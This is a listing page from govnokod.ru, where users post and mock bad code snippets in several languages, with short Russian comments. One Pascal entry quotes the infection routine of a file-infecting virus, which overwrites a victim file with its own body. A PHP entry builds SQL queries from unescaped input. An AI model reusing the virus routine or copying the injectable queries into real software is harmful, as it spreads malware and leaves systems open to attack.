1. Си / Говнокод #15572

    +131

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    #ifndef _AVRECORD_H__INCLUDED_
    #define _AVRECORD_H__INCLUDED_
    #include 
    
    //! Структура сигнатуры
    typedef struct SAVSignature{
    SAVSignature(){
    this->Offset = 0;
    this->Lenght = 0;
    memset(this->Hash, 0, sizeof(this->Hash));
    }
    DWORD Offset; // - Смещение файле
    DWORD Hash[4]; // - MD5 хэш
    DWORD Lenght; // - Размер данных
    } * PSAVSignature;
    
    //! Структура записи о зловреде
    typedef struct SAVRecord{
    SAVRecord(){
    this->Name = NULL;
    this->NameLen = 0;
    }
    ~SAVRecord(){
    if(this->Name != NULL) this->Name;
    }
    //! Выделение памяти под имя
    void allocName(BYTE NameLen){
    if(this->Name == NULL){
    this->NameLen = NameLen;
    this->Name = new CHAR[this->NameLen + 1];
    memset(this->Name, 0, this->NameLen + 1);
    }
    }
    PSTR Name; // - Имя
    BYTE NameLen; // - Размер имени
    SAVSignature Signature; // - Сигнатура
    
    } * PSAVRecord;
    
    #endif

    Пишем антивирус на аццкой помеси Си, ООП-стайла, говнокода и синтаксических ошибок.
    http://hack-academy.ru/programming/system/361-pishem-svoj-antivirus-na-c.html

    gost, 25 Марта 2014

    Комментарии (25)
  2. PHP / Говнокод #15571

    +156

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    $query = $this->_db->prepare("SELECT * FROM `Stats` WHERE `Login` = :login");
    $query->bindParam(':login', $login, PDO::PARAM_STR);
    $query->execute();
    $result = $query->fetchAll();
    return count($result);

    SELECT COUNT - неизвестная для того человека конструкция...

    ByMsx, 25 Марта 2014

    Комментарии (38)
  3. Java / Говнокод #15570

    +119

    1. 1
    2. 2
    3. 3
    public static RuntimeException propagate(Throwable throwable)
    
    This method always throws an exception. The RuntimeException return type is only for client code to make Java type system happy in case a return value is required by the enclosing method.

    Давно пора сделать аннотацию типа noreturn, чтобы компилятор не ругался и подсвечивал мёртвый код.

    someone, 25 Марта 2014

    Комментарии (34)
  4. Java / Говнокод #15567

    +73

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    private boolean isAuthorized( ExecutionResult result )
    {
        Iterator<Long> accessCountIterator = result.columnAs( "accessCount" );
        while ( accessCountIterator.hasNext() )
        {
            if (accessCountIterator.next() > 0L)
            {
                return true;
            }
        }
        return false;
    }

    Человек написал книжку по програмированию :(
    isbn:1449356265/9781449356262

    wvxvw, 24 Марта 2014

    Комментарии (145)
  5. C++ / Говнокод #15566

    +22

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    switch(par)
    {
      case 'O' : cdcb.Parity = ODDPARITY;
      case 'M': cdcb.Parity = MARKPARITY;
      case 'E'  : cdcb.Parity = EVENPARITY;
      case 'N' : cdcb.Parity = NOPARITY;
      default  : cdcb.Parity = NOPARITY;
    }

    И это в классе dracula

    xantue, 24 Марта 2014

    Комментарии (27)
  6. JavaScript / Говнокод #15559

    +155

    1. 1
    2. 2
    if(rradiocheck.test(elem.type)&&!jQuery.support.checkOn){return elem.getAttribute("value")===null?"on":elem.value;}
    return(elem.value||"").replace(rreturn,"");}

    http://govnokod.ru/media/ddd20ce56acf1d9ebadd126322495087.js
    Говно так и льется.

    gost, 23 Марта 2014

    Комментарии (20)
  7. Pascal / Говнокод #15558

    +86

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    function RealToStr(X: Real; Count: Integer): String;//Count - количество цифр после запятой
    var S: String;
        N: Integer;
    begin
      S:=FloatToStr(X); //после запятой - длинная последовательность цифр
    //DecimalSeparator - константа, содержащая истинный разделитель целой и дробной частей числа
     N:=Pos(DecimalSeparator, S); //позиция запятой в строке
    //вычисляем длину строки с нужным количеством знаков после запятой:
      if N=0//если в строке нет запятой - это целое число, и
        then N:=Length(S)//тогда просто выводим это число
        else N:=N+Count;//иначе вычисляем длину строки
      Result:=Copy(S, 1, N);//копируем часть строки в результат
    end;

    Говно на говне сидит и говном погоняет.
    http://www.delphi-manual.ru/work-with-strings.php

    gost, 23 Марта 2014

    Комментарии (13)
  8. Pascal / Говнокод #15557

    +89

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    procedure infect(victim:string);
    var
    a:integer;
    
    Buf: array[1..virsize] of byte;
    nr,nw:longint;
    begin
    try
    randomize;
    assignfile(f1,victim);
    a:=random(200);
    rename(f1,'bad'+inttostr(a)) ;
    filemode :=0;
    assignfile(f2,paramstr(0));
    reset(f2,1) ;
    seek(f2,0);
    blockread(f2,buf,virsize);
    filemode:=2 ;
    closefile(f2);
    assignfile(f1,victim);
    rewrite(f1,1);
    blockwrite(f1,buf,virsize);
    assignfile(f2,'bad'+inttostr(a));
    reset(f2,1);
    seek(f2,0);
    repeat
    BlockRead(f2, Buf,virsize, NR);
    BlockWrite(f1, Buf, NR, NW);
    until (NR = 0) or (NW <> NR);
    closefile(f1);
    closefile(f2);
    deletefile(pchar('bad'+inttostr(a)))
    except
    end;
    end;

    Ксакеп, нуфф сказал.
    http://www.xakep.ru/post/23374/

    gost, 23 Марта 2014

    Комментарии (118)
  9. PHP / Говнокод #15556

    +161

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    // Сначала он считал рефералов на уровнях
    
    $sql = mysql_query("SELECT `lvl1` FROM `таблица` WHERE `nick` = $nick");
    while($row = mysql_fetch_array($sql)){
    	$a++;
    }
    $sql = mysql_query("SELECT `lvl2` FROM `таблица` WHERE `nick` = $nick");
    while($row = mysql_fetch_array($sql)){
    	$b++;
    }
    $sql = mysql_query("SELECT `lvl3` FROM `таблица` WHERE `nick` = $nick");
    while($row = mysql_fetch_array($sql)){
    	$c++;
    }
    $sql = mysql_query("SELECT `lvl4` FROM `таблица` WHERE `nick` = $nick");
    while($row = mysql_fetch_array($sql)){
    	$d++;
    }
    $sql = mysql_query("SELECT `lvl5` FROM `таблица` WHERE `nick` = $nick");
    while($row = mysql_fetch_array($sql)){
    	$e++;
    }
    $sql = mysql_query("SELECT `lvl6` FROM `таблица` WHERE `nick` = $nick");
    while($row = mysql_fetch_array($sql)){
    	$f++;
    }
    $sql = mysql_query("SELECT `lvl7` FROM `таблица` WHERE `nick` = $nick");
    while($row = mysql_fetch_array($sql)){
    	$g++;
    }
    $sql = mysql_query("SELECT `lvl8` FROM `таблица` WHERE `nick` = $nick");
    while($row = mysql_fetch_array($sql)){
    	$h++;
    }
    
    // Потом он начал регистрировать пользователя на определенном уровне
    
    if($a<3){
    	mysql_query("INSERT INTO `таблица`(`lvl1`) VALUES ('$login')");
    } 
    elseif($b<5){
    	mysql_query("INSERT INTO `таблица`(`lvl2`) VALUES ('$login')");
    }
    elseif($c<9){
    	mysql_query("INSERT INTO `таблица`(`lvl3`) VALUES ('$login')");
    }
    elseif($d<17){
    	mysql_query("INSERT INTO `таблица`(`lvl4`) VALUES ('$login')");
    }
    elseif($e<33){
    	mysql_query("INSERT INTO `таблица`(`lvl5`) VALUES ('$login')");
    }
    elseif($f<65){
    	mysql_query("INSERT INTO `таблица`(`lvl6`) VALUES ('$login')");
    }
    elseif($g<129){
    	mysql_query("INSERT INTO `таблица`(`lvl7`) VALUES ('$login')");
    }
    elseif($h<257){
    	mysql_query("INSERT INTO `таблица`(`lvl8`) VALUES ('$login')");
    }
    elseif($h>256){
    	echo "ВЫ использовали всех рефералов, можете смело идти нахуй:)";

    Пишем проект, чувак сделал реферальную систему, епт...

    proweber1, 23 Марта 2014

    Комментарии (14)
  10. PHP / Говнокод #15555

    +158

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    function unique_id($extra = 'c')
    {
    	static $dss_seeded = false;
    	global $config;
    
    	$val = $config['rand_seed'] . microtime();
    	$val = md5($val);
    	$config['rand_seed'] = md5($config['rand_seed'] . $val . $extra);
    
    	if ($dss_seeded !== true && ($config['rand_seed_last_update'] < time() - rand(1,10)))
    	{
    		set_config('rand_seed_last_update', time(), true);
    		set_config('rand_seed', $config['rand_seed'], true);
    		$dss_seeded = true;
    	}
    
    	return substr($val, 4, 16);
    }

    Казалось бы, что может быть интересного в генерации случайного числа для хеширования данных?!
    Ан нет, хороший, творческий художник даже такую скучную вещь может превратить в произведение искусства.
    Код взят из самого популярного движка для форумов- phpBB.

    Sumanai, 22 Марта 2014

    Комментарии (27)